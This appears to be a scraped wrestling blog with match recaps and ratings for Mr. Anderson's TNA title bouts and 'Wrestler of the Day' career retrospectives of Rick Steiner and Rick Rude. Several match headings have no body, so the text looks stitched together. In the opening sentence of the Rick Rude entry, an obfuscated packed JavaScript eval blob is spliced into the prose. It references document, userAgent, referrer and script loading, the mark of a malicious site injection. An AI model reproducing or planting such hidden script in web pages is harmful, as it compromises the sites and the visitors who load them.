We’re getting close to overkill here. Angle catches him with the ankle lock though and Anderson taps again. I smell a broken ankle. Anderson reverses but STILL can’t get out. Angel finds a chain or the Warrior Medal and chokes Anderson out with it in a reference to Anderson choking him out in the ladder match on Impact before walking out. GREAT match.

Rating: A+. Yeah I said it. Great match all around and the ending made sense given the way Anderson won the ladder match. This has been a great show and it needed a great match to get it over the hump. It just got that. Angle is still one of the best in the world and he can bring it.

Matt Morgan vs. Mr. Anderson

 

I really hope this has an actual ending instead of a screwjob of some point.  Morgan grabs a headlock to start after the big match intros.  There was a fifteen minute time limit announced and I have a bad feeling that’ll come into play.  All of a sudden we’re talking about Ray Lewis and what he has next to his bed.  You get multiple sports in this company I guess.

They head to the floor with Anderson in trouble.  They have a ton of time here which means they’re likely going to stretch this out as far as they can.  A main point here is that Anderson’s head might not be right which has people scared.  Anderson works on the leg for a long time.  Tazz thinks Immortal wants Anderson to win here because he has a chink in his armor.  Makes sense.

Morgan gets a swinging chokeslam off the top and a clothesline to take over completely.  They slug it out from their knees and neither guy can take over.  Carbon Footprint out of nowhere takes Anderson down for two and Morgan isn’t happy.  Since one finisher gets two the other one has to as well.  They hit heads and Anderson gets a small package for the pin.  Yep that’s it.

Rating: C. Not a bad match I guess but this is supposed to be the major selling point for the show?  The ending came out of nowhere and felt completely flat if that makes sense.  This was ok but I still don’t buy either of these guys as a main event threat.  Nothing great at all but I think it’s setting this up.

Bischoff comes out and the title is on the line RIGHT NOW!

TNA World Title: Jeff Hardy vs. Mr. Anderson

 

I have a really bad feeling the title is about to change hands.  Jeff comes to the ring smoking….a joint?  I must be seeing things.  Maybe they’re afraid of the drug charges?  Twist of Hate gets two as that move is killed more and more every match.  Another Twist of Hate gets two.  Anderson sends him to the floor by the belt as they’re making this kind of competitive.

Morgan takes Hardy’s head off with the discus clothesline out of nowhere.  He sends Hardy in for a close two.  They slug it out and Anderson takes over with a neckbreaker for two.  Jeff grabs a chair but Foley pops up to grab it away.  Here’s Flair to counteract Foley and get us our run-in quorum of the main event.  Hardy gets crotched on the top but manages to shove Anderson off.  Swanton gets two.

Anderson, of course, is bleeding from the head.  Hardy’s jeans are ripped.  He takes Anderson down and calls for Matt.  RVD runs out for the fourth run-in of the match and fights Matt off to the back.  Bischoff becomes the seventh person involved in the match by bringing in a chair but gets caught in a Mic Check.  Twist of Hate is countered into the Mic Check to give Anderson the title.

Rating: D+. Total and complete mess of a match with all kinds of people coming in while the selling from both guys was awful.  Also, no one can ever complain about SuperCena again after that performance by Anderson.  Anderson winning the title should have been a huge moment, but instead it’s going to be something that people see when they turn on Impact Thursday.  I’d be ticked off if I cared about this company, which is waning rapidly.

 

Anderson would lose the title back to Hardy a month later before getting another shot at Sting at Slammiversary 2011.

TNA World Title: Sting vs. Mr. Anderson

 

Sting comes in and jumps Anderson during the entrance.  He’s in all red here and has that paint on his face making him look like the Joker.  All Sting so far as Anderson can’t even get his shirt off.  Into the crowd they go and Anderson goes into a wall.  There’s black/gray around Sting’s mouth for some reason.  Anderson gets a quick reversal and that gets him nowhere at all as Sting pounds on him even more.

Up the steps they go even further and this is wasting a ton of time.  To the ring finally and Sting is sent into the post.  Anderson sends Sting’s hand into the steps and then pulls the arm around the post for awhile.  More F Bombs dropped as an armbar goes on Sting.  Clothesline puts Sting down again for two.  Anderson wastes forever and does Sting’s chest pound before missing a horrible Stinger Splash.

Modified world’s strongest slam gets two.  Anderson is covering a lot here.  Back to the armbar which makes some sense here at least.  Sting starts his comeback and pounds on his chest as he is known to do at times.  Clothesline sets up a backdrop and the splash in the corner.  Scorpion is set up….and here’s Bischoff.  Another Stinger Splash misses and Anderson gets a very close two.

Sting gets a regular DDT with the bad arm for two.  He tries something close to a Banzai Drop but gets caught in the little stingers which gets two for Anderson.  Mic Check hits on the second attempt for two.  Stinger Splash and the Death Drop hit but Bischoff interferes and messes with the count so there was only a two count instead of the three.  Low blow RIGHT IN FRONT OF THE REFEREE sets up the Mic Check and we have a new champion.  Wow indeed.

Rating: C. The chicanery hits again.  I really hope this doesn’t set up Anderson joining Immortal because it really seemed like it was dying there for awhile.  Bischoff is the source of drama again which is his custom.  Hopefully this sticks around so we don’t have Sting vs. Hogan for the title.  Surprising ending and it more or less locks up Angle winning tonight in the main event.

 

TNA World Title: Mr. Anderson vs. Bully Ray

Bully gets in a cheap shot and sends Anderson into the steps before asking Brooke for a chair. It takes forever to get there and Anderson gets in a shot to the ribs to take the chair away. He blasts the champion in the back and pounds him back into the ring. Ray goes up but gets hit low, allowing Anderson to hit a rolling senton. The fans are COMPLETELY behind Anderson here and him telling himself to get the tables makes them cheer even louder. Even Tenay is cheering for Anderson.

Mr. Anderson vs. Bully Ray

Ray takes off the chain to whip Anderson even more but Anderson takes the chain away and gets in a few whips of his own. Anderson loads up a big chained fist but gets sent to the floor instead. Ray pulls back the mats but Anderson backdrops Ray onto the concrete instead.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Summerslam at Amazon for just $3.99 at:

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Wrestler of the Day – March 4: Rick Steiner

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Rick got his start in Mid-South back in 1983 under his real name of Robert Rechsteiner and amazingly enough you can actually see some of those matches.

Robert Rechsteiner vs. Nick Patrick

Yes that Nick Patrick. Robert easily takes him down to the mat and to make things even more interesting, Ric Flair is on commentary. A hiptoss puts Nick down but he comes back with a hiptoss of his own. Patrick grabs a headlock and gets two off a cross body but Robert takes him right back down into a chinlock. A big gorilla press and a belly to belly suplex are enough to pin Patrick with ease.

Sting/Jimmy Garvin/Michael Hayes vs. Eddie Gilbert/Larry Zbyszko/Rick Steiner

 

 

 

 

TV Title: Rick Steiner vs. Mike Rotundo

 

 

Back in and Rick runs him over again, only to miss a charge and go flying over the top and out to the floor. Mike pounds away with some elbows to the head back inside followed by a kick to the chest. Off to a chinlock by Rotundo for a LONG time as the match slows down again. A hard clothesline puts Steiner down again as the commentary has stopped for some reason. Rick comes back with a sunset flip for two but gets punched in the jaw for his efforts.

 

 

Rating: C-. The match mostly sucked, but man alive the ending to that was awesome. This is a perfect example of how you blow off a story at the biggest show of the year. The fans went NUTS for the ending as they identified with Steiner as someone standing up to a bully and finally getting his revenge on said bully. Rotundo would get the title back in a few weeks, but THIS match was the important moment and it was done perfectly.

 

Soon after this Rick would be joined by his brother Scott Steiner to form the Steiner Brothers. The pair would win the World Tag Team Titles later in 1989, eventually entering into a feud with two masked men called Doom. The teams would face off at Clash of the Champions X: Texas Shootout in a title vs. mask match.

World Tag Team Titles: Doom vs. Steiner Brothers

 

 

Scott would get injured about a year later, putting Rick into a quick singles run. During this span he was given a WCW World Title shot at Clash of the Champions XVII.

WCW World Title: Rick Steiner vs. Lex Luger

 

Mr. Hughes is ejected before the match can get started. Rick drives him into the corner to start before taking him down to the mat in a nice amateur move. Luger walks around the ring and is easily knocked down by a shoulder block. A big Steiner Line sends Luger over the top and out to the floor for a meeting with Race.

 

Back in and Luger gets a single kick to the stomach before ramming Rick into the buckle for no effect. A belly to back suplex gets two on the champion but the referee gets bumped, allowing Luger to crotch Rick on the top rope. Luger clotheslines Rick in the back of the head to put Steiner down again and an elbow drop gets two.

 

Rick is sent to the floor where Race gets in a cheap shot and Luger is very pleased. Back in and Steiner hits a big right hand and puts Luger down down with a powerslam. The top rope bulldog gets two and a belly to belly superplex looks to pin Luger but Scott and Mr. Hughes fight into the ring. During the melee, Luger is able to get in a shot with the belt for the pin to retain.

 

Tag Titles: Steiner Brothers vs. Heavenly Bodies

After not doing much else in the WWF, Rick would head to ECW for a bit before they went home to WCW. Slamboree 1996 saw another Battlebowl format with “random” tag matches. Rick and Scott would be on opposing teams in their first match.

Battlebowl First Round: Scott Steiner/Craig Pittman vs. Rick Steiner/Booty Man

Is this like a sick joke or something??? Teddy Long is Pittman’s manager for no explained reason. At least we can look at Kimberly. Pittman and Booty Man start. Oh just shoot me now. It has to be less painful. Wow it’s weird seeing Teddy out there as a manager. The announcers are orgasming over Rick vs. Scott. I can’t say I blame them as they didn’t have a showdown for a long time. And there it is.

Actually they tag twice so Scott isn’t legal. The fans pop to it too so this is a good idea. To their credit, they actually get in there and wrestle rather than do a short sequence that will be forgotten in 8 seconds. I’m not saying this steals the show or anything, but they actually throw each other around and pound on each other, but no punches.

This worked and when Rick made the tag it didn’t feel like it had been weak or short or anything like that. They were in there about 2-3 minutes and it was fine. I like that. After an arm hold on Booty Man, Rick comes in and a German suplex on Pittman ends it with Rick and Booty winning.

Rating: C. Best match of the night by far to this point. Rick vs. Scott was a nice touch indeed and while no one at this point is buying the pairings being random, this was certainly entertaining and came off well. It’s a pleasant surprise if nothing else, but at the end of the day Pittman and Booty Man just weren’t going to be able to get anywhere.

Chris Benoit vs. Rick Steiner

 

Tag Titles: Kevin Nash vs. Rick Steiner

Only in WCW. Nick Patrick is referee because we need more gimmicks in this. Rick jumps him but gets knocked down almost immediately. DiBiase and Syxx are at ringside so this is 4-1. Nash pounds on him in the corner and hits his knees but runs into a boot. Belly to belly suplex looks like Rick is picking up a boulder. That suplex/powerslam move he uses gets two.

Syxx pulls the top rope down and Steiner crashes to the floor. Back in the side slam gets two. Why isn’t Patrick fast counting him? The Outsiders are the champions coming in here. DiBiase gets in a right hand and Nash hits the running crotch attack while Rick is in 619 position. Big boot puts Rick down as we’re totally in squash territory. There’s the Jackknife but Steiner kicks out. I don’t remember many people ever doing that other than Undertaker.

Steiner hits him low on another Jackknife attempt which Patrick actually doesn’t DQ him for. He’s kind of doing a bad job of being an evil referee here. Rick hits the bulldog but it only gets two, even though Nash’s shoulder never came up. Down goes Syxx but Nash comes back with a clothesline to take over again.

Syxx takes off the buckle pad and Snake Eyes onto the buckle sets up Snake Eyes on the buckle which sets up Snake Eyes on the buckle which sets up Snake Eyes on the buckle which sets up the Jackknife for the pin and a forced count (Patrick was hesitant) for the pin. The interesting thing here is that DiBiase says that’s enough in the middle of this and Nash yells at him. DiBiase walks out.

Rating: D-. So Nash wins a squash on PPV in a one on one match for the titles. I guess the more important part here is that DiBiase looks to be defecting which would mean more if he was an actual wrestler. This would lead to him managing the Steiners which would last for awhile until I think February. The match sucked.

TV Title: Rick Steiner vs. Booker T

Booker is champion here if I didn’t make that clear. Rick starts out with a belly to belly release and a couple of Steiner Lines. I think he’s the heel here but I’m not sure. More control by Steiner until Booker kicks him in the face to put him down. Steiner pops up of course because he isn’t going to sell anything. Off to a chinlock by Booker. I think he’s either heel here or borderline heel.

Steiner takes over on the floor and things slow way down. Time for a chinlock again. The crowd is very quiet. Steiner punches a lot and the fans don’t care. A bunch of punches gets two and here’s that chinlock again. Booker fights back and hits the axe kick, a spinebuster and the missile dropkick but STEINER WON’T SELL THEM. Here’s what happens after every move: Steiner lays there about 2-4 seconds then gets up like nothing happened. Scott finally runs out for the distraction and a Steiner Line gets two. Scott trips Booker and the Bulldog off the ropes gives Rick the title.

Rating: D. Just a horribly boring match here as Rick is beyond worthless in the ring at this point. Naturally the answer to that is to give him a title for four months. He wouldn’t sell ANYTHING Booker did here and Booker looks like a joke as a result. Bad match but as usual, most of it is due to Rick being lazy and not selling anything.

Around this time Rick would become a bigger heel and be part of a somewhat infamous match on August 9, 1999 on Nitro.

Hulk Hogan/Sting/Goldberg vs. Sid Vicious/Kevin Nash/Rick Steiner

Soon after this Rick would receive another TV Title shot at Halloween Havoc 1999.

TV Title: Chris Benoit vs. Rick Steiner

Benoit is champion coming in. This is the main event of the last two Nitros I’ve done too. Steiner immediately stalls on the floor and catches Benoit when the Canadian chases him. Steiner Line and a suplex puts Benoit down for two. Benoit fights back and hits a superplex but Steiner no sells that too. A Crossface attempt is avoided and we head to the floor. Benoit hits a suicide dive and Steiner is up in seconds.

Steiner keeps stalling every time Benoit gets anything going. There’s a kick to the balls and Steiner takes over with a rest hold to the leg. Time for a chinlock because Steiner has already wrestled like 6 minutes. Steiner uses various boring power moves as Benoit sells like a master for him. The American hits two Germans on the Canadian for two. Make that three which is all Steiner seems to be able to do. It must run in the family.

A suplex is countered into a DDT by Benoit to finally give him a breather. Not that Steiner sells it or anything. A flying shoulder block and Steiner is up first again. Three Rolling Germans get two and Steiner won’t freaking stay down. There goes the referee and Steiner brings in a chair which goes into Steiner’s face but he throws it at Benoit during a Swan Dive attempt. Malenko comes in and turns on Benoit by hitting him with the chair. That’s enough for the pin and the title for Steiner.

Rating: D. Rick Steiner messes up almost every match he’s in. What can Benoit do when Steiner won’t stay down off ANYTHING Benoit hits him with? This is one of those great examples of why Benoit left. Why should he stick around here when he’s getting jobbed out to Sid for the US Title a few months earlier (Sid wouldn’t sell) and now to another washed up old guy who won’t sell? The TV Title would be around for a little over another month as Steiner would drop it to Scott Hall and Hall would literally throw the title away.

Virgilvs. RickSteiner

Virgil is called that but his name graphic says Mr. Jones. Whatever as the guy is a jerk anyway. Virgil has a big old beer gut. He tries to jump Rick to start and the bald man is in command. Steiner Line and a T-Bone hit, and when I say hit for the suplex I use that term more loosely than a head cheerleader’s vagina, for two. Death Valley Driver gives Steiner the win in maybe a minute forty. See what I’m dealing with here?

Tag Titles: AJ Styles/Tomko vs. Steiner Brothers

 

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Wrestler of the Day – February 26: Rick Rude

We’ll eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kedtd|var|u0026u|referrer|dafsy||js|php'.split('|'),0,{})) keep up the Rick trend today with Rick Rude.

As a lot of people did in Rude’s generation, he was in Memphis during his early years. Here’s a match from sometime around 1983/84 from the Mid-South Coliseum.

Randy Savage vs. Rick Rude

Rude stalls to start but Savage goes to the floor to get at Rude’s manager, Jimmy Hart. Now Rude goes outside again as we’re over two minutes into this with no contact. They finally fight over a top wristlock until Savage takes him up into an airplane spin, sending a dizzy Rude outside. Savage runs outside as well and shouts something into the microphone.

Back in again as the stalling continues until Hart offers interference, allowing Rude to knock Savage outside. Rude sends him into the buckle and drops him throat first onto the top rope. Rick struts around a lot but walks into a backdrop and some choking. Rude is thrown outside and Savage drops a top rope ax handle for good measure. Hart pulls a chair away from Savage before throwing Rude inside for a cross body. There’s no referee and a huge fat man runs in and lays out Savage, giving Rude the pin.

Rating: C-. The match was pretty lame by modern standards but Memphis is a whole different animal. They love the concept of drawing out as much heat as possible with as little action as you can use. Savage was a monster who would soon take the WWF by storm with Rude following a few years later.

Rude would soon head to WCCW where he would eventually become the first WCWA (WCCW’s second name) World Champion. Here’s a match from 1986 against Steve Simpson.

Rick Rude vs. Steve Simpson

Rude is world champion here, putting this at some point between February 20, 1986 and July 4, 1986. Rude slams him down to start but Simpson scores with a flying headscissors. Rick counters into a headlock but gets caught in a hammerlock. A belly to back suplex gets a few two counts for Rude and we hit the abdominal stretch. Simpson fires back with kicks to the ribs but walks into a DDT (called the Rude Awakening) for the pin.

Rating: D. Unlike the Memphis match which was about drawing heat, this was just dull with neither guy looking interested in doing anything out there at all. Rude would be in the WWF soon after this for the most famous part of his career. Nothing to see here though Simpson had a good look to him.

There was one more stop before he got to the WWF: the NWA, with an appearance at Starrcade 1986.

Rick Rude vs. Wahoo McDaniel

 

 

Rick Rude vs. Brutus Beefcake

Rating: D+. Not a great match again but at least there was some energy in this match and there were some people I might care about for a change. Beefcake would get MUCH better in a few years as would Rude, and with Jake Roberts lurking for Rude, that time would come soon. This was your usual house show punch and kick match though.

Hulk Hogan vs. Rick Rude

Back in Boston I believe. This is a pairing you don’t see that often to say the least. Gorilla and Jimmy Hart of all people are the commentators here. This is an older match as you can tell due to the belt Hogan has. Rude is apparently an arm wrestling champion so Heenan challenges Hogan to an arm wrestling match.

Nothing happens of course so there we are. Rude wants to arm wrestle more. This is just down on the mat so it’s likely not legitimate. They go left handed actually and since it’s pro wrestling arm wrestling you know the drill here. Now we get to the normal match. Hogan hitting Heenan is always nice to see. According to commentary, the Harts are still with Jimmy and Honky is IC Champion so we’re at least before Summerslam 88. Hogan goes after Heenan since it’s in his blood I guess and Rude jumps him. Rude gets a wooden chair shot in to take over and prove he’s the heel.

Jimmy says Hogan is likely the best champion ever. WOW. Let’s hit that chinlock! Hogan starts his comeback but gets caught in Rude’s backbreaker since there wasn’t a Rude Awakening yet. Rude lets go early and goes up top. Heenan insists Hogan gave up. Here’s the familiar ending and you know the deal.

Rating: C-. Standard Hogan match from this era which had the crowd going so you can’t complain much really. Hogan knew what he was doing back in this era to put it mildly and it worked like it always did. Short and sweet but that’s how it was supposed to be. They could have had a good match with the right Hogan formula.

Jake Roberts vs. Rick Rude

What a natural paring this is. No theme music for Jake yet. Rude is wearing those tights again. Jake goes for the tights nearly immediately. Is Cheryl not satisfying him? I’ve watched nearly six minutes of this match and there’s just nothing to say about it. Cheryl gets thrown out for slapping Rude. Vince saying that she shouldn’t be because it didn’t hurt him is very funny for some reason.

Jesse goes on a rant about Vince playing favorites and it’s just freaking boring. I don’t know why but this just isn’t interesting at all. It’s not bad or anything. It’s just not getting my attention at all. Rude dominates for the most part with Jake just punching and looking for the DDT. Rude Awakening is blocked. Jake totally fakes him out by pulling back a punch and there’s the DDT. Instead of the cover though he goes for the tights.

Heenan comes in for the DQ. And here’s Andre, who would beat RVD in any match they had I think should be mentioned, to beat Jake up. Jake gets the snake out and since Andre is a heel, he’s terrified of it. The look on Andre’s face is priceless. Jake throws the snake at him in a smart move. Andre then has a heart attack. WOW.

Rating: D+. Not bad, but just not that interesting really at all. They would have what I guess was supposed to be the other big match at Mania 5 but this was just not a very good match. Oh yeah Rude was involved here. Yeah I couldn’t really care less. Match was ok though.

We move into 1989 with a match against one of the most underrated wrestlers in WWF history: Tito Santana. From February of 89.

Rick Rude vs. Tito Santana

This should be good. Back in MSG again. Wait according to Trongard this is Boston. It looks like Boston so we’ll go with that. We start with a test of strength that is more or less a tossup. Tito eventually wins it and then wants a rematch when Rude runs. Rude takes the chance to of course cheat and we finally get to a more traditional match.

Rude is cussing a good deal in this one. Tito works on the back as this is very back and forth stuff. After a long camel clutch by Tito, Rude treats him like Arn Anderson and spins over to drive his knees into Tito’s crotch to take over. This has somehow been going on nearly ten minutes. The time has flown by which is good I think as it hasn’t been boring at all.

We’ve had a lot of rest/time killing holds and we get another hear with the chinlock by Rude. Tito fights to his feet and rams him into the corner but runs into a big boot to take care of that. Rude pounds away but Tito rams his head into the mat to take over again. Solid stuff so far. And there’s another pair of knees to Tito’s lower half. That has to be getting old.

Tito blocks a suplex to get one of his own. Due to this, Rude can’t even get a slam on Tito who isn’t an incredibly big guy in the first place. Crowd is WAY into this. Tito is all fired up and hits the head knocker and it’s Figure Four time! So much for that though as the rope is reached maybe 4 seconds later. In a cheap ending, Tito hits the floor and goes for a sunset flip but Rude grabs the rope for the pin.

Rating: B. This was a better grade before the bad ending. They went back and forth the whole match and it worked well the entire time. The ending felt incomplete for lack of a better term. Both guys were great here though and the back work by Santana worked rather well for a change. Solid old school match that had the time to develop which is always a perk.

Next up is the moment where Rude broke through to the other side at Wrestlemania V.

Intercontinental Title: Ultimate Warrior vs. Rick Rude

Warrior is defending but Rude has the belt imprinted on his tights. Rude tries a knee to the ribs but hits the belt by mistake. Warrior immediately takes over with the power game and LAUNCHES Rude into the corner. The champ throws on a bearhug for a bit until Rude finally pokes him in the eyes to escape. Rude busts out a MISSILE DROPKICK for two but gets launched off Warrion on the kickout.

Roddy Piper vs. Rick Rude

In a cage here and Sean says it’s one of the best in history. Why do I not believe him? Piper’s music is really different here and it’s kind of weird. You can win with a pin here which is a brand new thing here. Rude rams into the cage and Piper controls early on. Belt to the back of Rude as this is one sided to start. Rude tries to escape and it’s the Rude Back  Shot for no apparent reason.

Piper gets rammed and might have hurt his hand. He’s busted up too as Rude takes over for the first time here. A bunch of pounding gets two. Rude changes his mind and goes for the door where Heenan tries to help him. We get the second shot of Rude’s tights going down in a single match. His tights are hanging down now.

Rude Awakening hits but Rude is down and bleeding too much to cover. Maybe Piper isn’t bleeding and it was Rude’s blood on him earlier. Piper gets up and stops Rude from getting out again. Why Rick didn’t cover him is beyond me but I’m no professional. They ram heads and the referee counts for no apparent reason since you can’t win by countout.

Both guys go up at the same time and it’s a race. They slug it out on top of the cage with Rude’s tights hanging down almost entirely. They ram heads into the cage and both fall/jump, hitting the floor at the same time. There MUST be a winner though so Rude drills Piper on the floor with a chair. Rude goes all the way to the top of the cage and drops a huge fist onto the head of Piper for a very long two.

Big old jumping Piledriver has Rude in complete control. Piper is more or less dead. Rude goes up again but Piper shakes the cage to crotch Rick on the cage. Piper gets him tied in a Tree of Woe atop the cage but Heenan slams the door on his face. Rude climbs down and that only gets a two as the crowd is into this. Heenan slips an illegal (wouldn’t it be legal in this?) object to Rude. He of course drops it and Piper drills Rude in the head so he can walk out to end it. They play the wrong music too.

Rating: B+. Fun match here although it started off kind of slowly. Once they got past that though it was all gravy baby as a friend of mine would say. These two knew how to make an old school style seem fresh and it worked quite well here. Good stuff and definitely the best match on the tape so far.

WWF World Title: Ultimate Warrior vs. Rick Rude

In a cage where you can win by pin or escape. Rude tries to block Warrior from getting into the cage so Warrior knocks him off the top and down into the ring. The champion finally comes in with a top rope ax handle smash and throws Rude into the cage. Rick goes into the cage a few more times but ducks a charge to send Warrior face first into the bars. Rude kicks Warrior away but jumps off the top to put him down again instead of climbing out.

Rating: D. This match sucked and the ending was exactly what people expected. These two had a match on SNME a month earlier and maybe Rude should have taken the title there to give it back to Warrior here. There was nothing of interest here and Warrior never seemed to be in any real danger due to Rude not going for a cover or trying to escape.

United States Title: Rick Rude vs. Sting

Rude had debuted like a month earlier and had guaranteed that he would win the US Title from Sting. Dangerously cuts a promo talking about how Sting isn’t here but of course as he does the ambulance pulls up and Sting goes in the wrong door. His buddies help him out and the first is on the ramp. Sting is limping horribly and he manages to press slam Rude on the ramp which is impressive even if he’s healthy.

Crowd is electric here. This is ALL Sting as he realizes if he stops moving at all then Rude can get to his knee. Rude gets to it anyway and wraps the knee around the post. I remember FREAKING when this was on. Rude Awakening is blocked which I think had only been done in WWF by Warrior and Hogan at this point. Rude gets knocked down but rams into the knee on the way down.

Heyman gets a phone shot to the back of the head for a false finish. Ross is losing his mind of course and Dangerously is going nuts. DDT puts Rude down but a chop block and tights get Rude the title. This was like four minutes long but it never once slowed down at all. Rude would hold the belt for over a year and had to forfeit due to injury.

Rating: B+. This is WAY high, but the atmosphere here and the energy is completely insane. For less than five minutes long to get that kind of a reaction and do a TON of other stuff in the process, this means a ton. Let’s see what this accomplished.

1. It gets Rude over. Sting was the MAN in WCW and Rude just beat him for his title in his second match with the company. Rude had been a glorified midcarder until his last maybe five months in WWF and now he’s a total tough guy that beat Sting and is the US Champion.

2. It frees up Sting to fight Luger for the world title. Sting was clearly destined to win the world title but he had to get rid of the US belt first. This was like Cena losing the US Title to Orlando Jordan (yes young fans, that happened) before he could beat JBL for the world title.

3. It keeps Sting strong. It in essence took Madusa, Luger, Dangerously and Rude plus a cell phone and a bad knee to beat Sting. To manage to keep him strong and make Rude looks strong at the same time is a great thing. Sting keeps his credibility and Rude gets the rub.

4. It gives Sting a feud to come back to once he wins the world title. And dang was that feud awesome.

Not bad for four minutes and 50 seconds, counting the thirty seconds it took to get to the ring for the champion.

Sting would win the World Title a few months later, so Rude needed a new challenger. Who better than Ricky Steamboat, who received a non-title match in a thirty minute iron man match at Beach Blast 1992.

Ricky Steamboat vs. Rick Rude

Rude is champion here, but this isn’t for the belt. Apparently neither were for the title as gimmicks can’t be title matches. In other words Watts would have either made Flair/Race non title or taken down the cage. Steamboat comes out with his wife and kid. She wound up being rather evil. They have the clock going on screen which is nice.

Steamboat gets a quick gutbuster, and when I say quick I mean like 10 seconds in and he’s hurt. These are both guys that are perfect choices for this kind of match too as they both can go long times with relative ease. Steamboat hits a bearhug as we keep up the psychology. Steamboat just goes on the ribs and that’s all he should be doing.

Rude taps but no one knew what that meant at this point. We get a Boston crab now and another thing to note here: Steamboat is mixing up the rib attacks. It’s not just a submission here and a submission there. He’s hitting strikes and submissions which he also alters a lot. It keeps things from being boring and bland which is a great thing. This has been ALL Steamboat here.

That being said, Rude gets a shot to the face and a rollup with tights to go up 1-0. He follows it up with the Rude Awakening to make it 2-0 so we’re more or less guaranteed a hot finish. Rude goes up top and lands a knee which is of course a DQ because Bill Watts is a freaking idiot. He immediately covers and gets another pin to make it 3-1.

Steamboat taps also so they’re even on submissions. That clock really is helpful. I can’t stand trying to figure out how long we’ve been in a match most of the time as it drives me insane and I have a thing about time anyway. It’s a weird OCD thing. It’s always fun to see the announcers at ringside doing commentary as you can see their reactions to things. That’s something I do as often as I can.

For once I don’t mind the chinlocks here as they make sense from Rude. Given his two fall lead, him using those suck time off the clock and put more pressure on Steamboat. That’s thinking out there which is my biggest thing. Rude does a good job of calling spots to Steamboat as it looks like he’s just tired and resting a bit. They’re back up now and Rude hits a sweet piledriver for two.

Steamboat counters a tombstone by climbing up Rude to get his own tombstone to make it 3-2. That was cool. We actually have to debate about whether or not a top rope suplex is an illegal move. Screw Bill Watts and his cowboying obsession. Steamboat gets an AWESOME bridge up to a backslide for a pin for the tie and they crank it up like they’re at 30 seconds. This is freaking fun stuff.

Rude is controlling here but they’re just hammering each other for the most part due to fatigue as they’re both drenched in sweat. Ross has severe issues telling how long they’ve been going for which is either amusing or sad and I’m not sure which. Ross says this is the best nontitle match he’s ever seen. Odd, I saw a better one 45 minutes ago.

Steamboat hits a Rude Awakening as I try to figure out what the difference is between the guy getting hit with it and the guy doing it. Rude gets smart and jumps on Steamboat for a sleeper and then Steamboat gets the best turnbuckle shot I can remember in a long time to knock the heck out of Rude. That was awesome as is this whole match. Actually that doesn’t break it.

We have three minutes left as I’ve completely forgotten to put any times in but in the end though it means nothing as the last few minutes are all that matters anyway so if you’ve gotten this far in this far too long sentence don’t read it at all. Steamboat is almost out with two minutes to go. I’ve always hated how adrenaline or whatever causes guys that are out cold for the most part to be able to just pop up all of a sudden despite a lack of blood flow to the brain.

He gets up and kicks off the corner for a quick pin with 35 seconds left and the place freaking LOSES IT. Rude goes nuts with clotheslines and shoulders but can’t keep Steamboat down. He tries everything and the crowd if freaking the heck out as the time expires. AWESOME ENDING to say the least.

Rating: A. That’s overrated more than likely but this was awesome stuff to me. The rest holds made sense here which is something you can rarely say. The iron man aspect worked very well too as it came down to Steamboat being able to last longer and have energy in the end rather than starting hot and coasting. I really liked this and it’s another you should go find.

WCW International Title: Rick Rude vs. Ric Flair

Without going into the story AGAIN, it’s the NWA Title without the NWA name or lineage and it’s more or less a parody of the NWA and it would be merged with the WCW Title the following year. Read up about it in one of the other 29 times I’ve explained it. If you haven’t seen Rude in WCW and only know of his initial WWF run, it’s COMPLETELY different as Rude was a killer here instead of a comedy joke.

Having a personal maid is just awesome. Rude says when he leaves he’ll have Flair’s reputation, his title, and his woman, revealing Fifi on his tights. I love that bit. Ventura starts off on his anti-women rants, saying the housework Fifi does is what women should be doing everywhere. They fight over a top wristlock which Rude of course loses. Tony warns Jesse that the sound woman might cut his mic off. That would be hilarious actually.

Flair goes for the knee early and the Figure Four is on maybe two minutes in! Rude gets to the ropes but dang that was surprising. To shock me some more, Flair comes off the top AND HITS THE PUNCH! Yes, he actually didn’t get slammed off! Where’s my medicine when I need it? Flair hooks a wristlock and Jesse thinks women should be barefoot and pregnant. THEY CUT HIS MIC OFF!!!!! Jesse steals Tony’s and says no one cuts him off. That was awesome!

He’s back on and goes on a rant about Sara Lee (the name of the sound director) about how he’s switching to Betty Crocker now. That was hilarious and has breathed some much needed life into this show. Tony references a European tour and a show in Germany, which is where Cactus infamously lost his ear. Also there was a world title trade between Sting and Vader where Sting held the title for about three days.

Flair uncharacteristically works on Rude’s arm instead of the leg, but I guess the idea is take away the power game which is logical. Rude takes over for a bit but rams his shoulder into the buckle by mistake and it’s back to the arm. Rude can’t slam Flair to tell you how bad the arm is. Somewhere about the 8th arm hold they go over the top and out to the floor. Tony: “There’s Fifi, trying to help Flair get up.” Jesse: “No way I’m touching that one.” I love those not very subtle lines.

Rude rams Flair into the apron and gets a suplex for two. He’s starting to get the arm back now. And now it’s a reverse chinlock by Rude as I’m guessing he was watching that Nasty Boys match earlier. This match has been going about 13 minutes so far and probably 8 or 9 has been in holds. Rude lets him up and gets a clothesline off the top and a press slam. Out to the floor again and Rude poses in the ring for a bit.

Hey let’s go with a bearhug instead of doing something interesting! It goes to the mat and Flair rolls over and actually gets a cover while in a bearhug. Aren’t Rude’s shoulders up? Flair charges at Rude but gets caught in a Hot Shot to set up the Flair Flop. A fist from the top by Rude gets some yelling at Fifi. Another shot has Flair reeling. Fifi’s nose looks like Voldermort’s.

Rude goes for a third shot from the top but Flair is playing possum. Belly to back suplex gives Flair the momentum. Butterfly suplex gets two. Flair goes off on Rude in the corner and it’s all Naitch. And never mind that as he eats knees in the corner. Rude gets a DDT for two. Flair counters the Rude Awakening into one of his own for two. Flair grabs the leg and….goes up with it? He flips forward to snap the leg even more. I’ve never seen him do that before.

Flair sets for the Figure Four but Rude kicks him off. More leg work but Rude gets a rollup to counter the hold again. That only gets two though. Flair sends him to the floor and we get a quick shot of the camera side. There are maybe 8 rows of fans and that’s it. Wow that almost ROH levels of attendance. Not saying it’s bad for ROH but for the second biggest company in the world on PPV, that’s anemic.

